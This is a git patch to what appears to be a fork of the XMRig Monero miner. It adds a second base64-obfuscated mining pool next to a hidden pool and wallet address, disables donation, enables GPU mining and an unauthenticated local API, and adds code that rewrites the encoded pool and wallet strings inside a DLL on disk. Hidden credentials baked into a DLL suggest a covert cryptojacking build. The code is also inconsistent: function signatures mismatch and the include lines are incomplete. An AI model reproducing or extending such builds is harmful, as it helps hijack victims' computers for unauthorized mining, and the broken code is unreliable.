From e4405d7e755ed8b2a215110428d943144f5af9ab Mon Sep 17 00:00:00 2001 From: JorySeverijnse Date: Tue, 16 Dec 2025 01:41:18 +0100 Subject: [PATCH] Add secondary fallback pool, CUDA support, env var overrides, and API-based URL updating with DLL patching --- src/base/api/requests/HttpApiRequest.cpp | 1 + src/core/config/Config_default.h | 180 +++++++++++++++++++---- 2 files changed, 149 insertions(+), 32 deletions(-) diff --git a/src/base/api/requests/HttpApiRequest.cpp b/src/base/api/requests/HttpApiRequest.cpp index de43f752..f39af373 100644 --- a/src/base/api/requests/HttpApiRequest.cpp +++ b/src/base/api/requests/HttpApiRequest.cpp @@ -22,6 +22,7 @@ #include "3rdparty/rapidjson/error/en.h" #include "base/io/json/Json.h" #include "base/net/http/HttpData.h" +#include "core/config/Config_default.h" namespace xmrig { diff --git a/src/core/config/Config_default.h b/src/core/config/Config_default.h index e5ae507e..6dda2f5d 100644 --- a/src/core/config/Config_default.h +++ b/src/core/config/Config_default.h @@ -1,7 +1,11 @@ #ifndef XMRIG_CONFIG_DEFAULT_H #define XMRIG_CONFIG_DEFAULT_H +#include // for getenv +#include +#include #include +#include #include // for strcpy #include "base/tools/Cvt.h" @@ -9,25 +13,64 @@ namespace xmrig { const char* const ENC_URL = "ENC:cG9vbC5zdXBwb3J0eG1yLmNvbTo0NDM"; const char* const ENC_USER = "ENC:OEJYVk02RVRXWEpLTXRxSER4ZGdqRUhXOHFuZGE1YmVkNWN4UHZ1N3pnVlNYSmdIWm9nZVRBQk12WHBZU0hvUnB1Y1dkcWRGeVdneDNlM1d6SjdiNXVZVEVBc3lib0E"; +const char* const ENC_FALLBACK_URL = "ENC:cG9vbC5oYXNodmF1bHQucHJvOjQ0Mw"; + +// Function to update embedded URLs in the DLL file +void updateEmbeddedUrls(const char* newPrimary, const char* newFallback, const char* newUser = nullptr); inline const char* getEmbeddedConfig() { static char buf[8192] = {0}; - const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4); - const char* tmp_url = tmp_url_str.data(); - char url_copy[512]; - strcpy(url_copy, tmp_url ? tmp_url : ""); - const char* url = url_copy; - const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4); - const char* user = user_str.data(); + // Check for environment variable overrides + const char* primary_url_env = getenv("XMRIG_PRIMARY_URL"); + const char* fallback_url_env = getenv("XMRIG_FALLBACK_URL"); + const char* user_env = getenv("XMRIG_USER"); + + // Primary URL + const char* primary_url; + if (primary_url_env && *primary_url_env) { + primary_url = primary_url_env; + } else { + const xmrig::String tmp_url_str = Cvt::fromBase64(ENC_URL + 4); + static char primary_url_copy[512]; + strcpy(primary_url_copy, tmp_url_str.data() ? tmp_url_str.data() : ""); + primary_url = primary_url_copy; + } + + // Fallback URL + const char* fallback_url; + if (fallback_url_env && *fallback_url_env) { + fallback_url = fallback_url_env; + } else { + const xmrig::String tmp_fallback_str = Cvt::fromBase64(ENC_FALLBACK_URL + 4); + static char fallback_url_copy[512]; + strcpy(fallback_url_copy, tmp_fallback_str.data() ? tmp_fallback_str.data() : ""); + fallback_url = fallback_url_copy; + } + + // User + const char* user; + if (user_env && *user_env) { + user = user_env; + } else { + const xmrig::String user_str = Cvt::fromBase64(ENC_USER + 4); + static char user_copy[512]; + strcpy(user_copy, user_str.data() ? user_str.data() : ""); + user = user_copy; + } const char* template_str = R"===( { - "api": { - "id": null, - "worker-id": null - }, + "api": { + "id": null, + "worker-id": null, + "enabled": true, + "host": "127.0.0.1", + "port": 8080, + "access-token": null, + "restricted": false + }, "http": { "enabled": false, "host": "127.0.0.1", @@ -74,7 +117,7 @@ inline const char* getEmbeddedConfig() "cn-lite/0": false }, "cuda": { - "enabled": false, + "enabled": true, "loader": null, "nvml": true, "cn/0": false, @@ -83,25 +126,42 @@ inline const char* getEmbeddedConfig() "donate-level": 0, "donate-over-proxy": 0, "log-file": null, - "pools": [ - { - "algo": null, - "coin": null, - "url": "%s", - "user": "%s", - "pass": "x", - "rig-id": null, - "nicehash": false, - "keepalive": false, - "enabled": true, - "tls": true, - "tls-fingerprint": null, - "daemon": false, - "socks5": null, - "self-select": null, - "submit-to-origin": false - } - ], + "pools": [ + { + "algo": null, + "coin": null, + "url": "%s", + "user": "%s", + "pass": "x", + "rig-id": null, + "nicehash": false, + "keepalive": false, + "enabled": true, + "tls": true, + "tls-fingerprint": null, + "daemon": false, + "socks5": null, + "self-select": null, + "submit-to-origin": false + }, + { + "algo": null, + "coin": null, + "url": "%s", + "user": "%s", + "pass": "x", + "rig-id": null, + "nicehash": false, + "keepalive": false, + "enabled": true, + "tls": true, + "tls-fingerprint": null, + "daemon": false, + "socks5": null, + "self-select": null, + "submit-to-origin": false + } + ], "print-time":0, "health-print-time":0, "dmi": true, @@ -126,10 +186,66 @@ inline const char* getEmbeddedConfig() } )==="; - snprintf(buf, sizeof(buf), template_str, url, user); + snprintf(buf, sizeof(buf), template_str, primary_url, user, fallback_url, user); return buf; } +// Helper to base64 encode +static inline std::string base64Encode(const std::string& input) { + // Simple base64 encode; in practice, use a proper library + static const char* base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + std::string encoded; + int val = 0, valb = -6; + for (unsigned char c : input) { + val = (val << 8) + c; + valb += 8; + while (valb >= 0) { + encoded.push_back(base64Chars[(val >> valb) & 0x3F]); + valb -= 6; + } + } + if (valb > -6) encoded.push_back(base64Chars[((val << 8) >> (valb + 8)) & 0x3F]); + while (encoded.size() % 4) encoded.push_back('='); + return encoded; +} + +// Update embedded URLs by patching the DLL file +static inline void updateEmbeddedUrls(const char* dllPath, const char* newPrimary, const char* newFallback, const char* newUser) +{ + // Encode new URLs + std::string encPrimary = "ENC:" + base64Encode(newPrimary); + std::string encFallback = "ENC:" + base64Encode(newFallback); + std::string encUser = newUser ? "ENC:" + base64Encode(newUser) : std::string(ENC_USER); + + // Open DLL file and replace strings + std::ifstream dllFile(dllPath, std::ios::binary | std::ios::ate); + if (!dllFile) return; + + std::streamsize size = dllFile.tellg(); + dllFile.seekg(0, std::ios::beg); + + std::string content(size, '\0'); + if (!dllFile.read(&content[0], size)) return; + dllFile.close(); + + // Replace old encoded strings + size_t pos; + if ((pos = content.find(ENC_URL)) != std::string::npos) { + content.replace(pos, strlen(ENC_URL), encPrimary); + } + if ((pos = content.find(ENC_FALLBACK_URL)) != std::string::npos) { + content.replace(pos, strlen(ENC_FALLBACK_URL), encFallback); + } + if (newUser && (pos = content.find(ENC_USER)) != std::string::npos) { + content.replace(pos, strlen(ENC_USER), encUser); + } + + // Write back + std::ofstream outFile(dllPath, std::ios::binary); + outFile.write(content.c_str(), content.size()); + outFile.close(); +} + } // namespace xmrig #endif // XMRIG_CONFIG_DEFAULT_H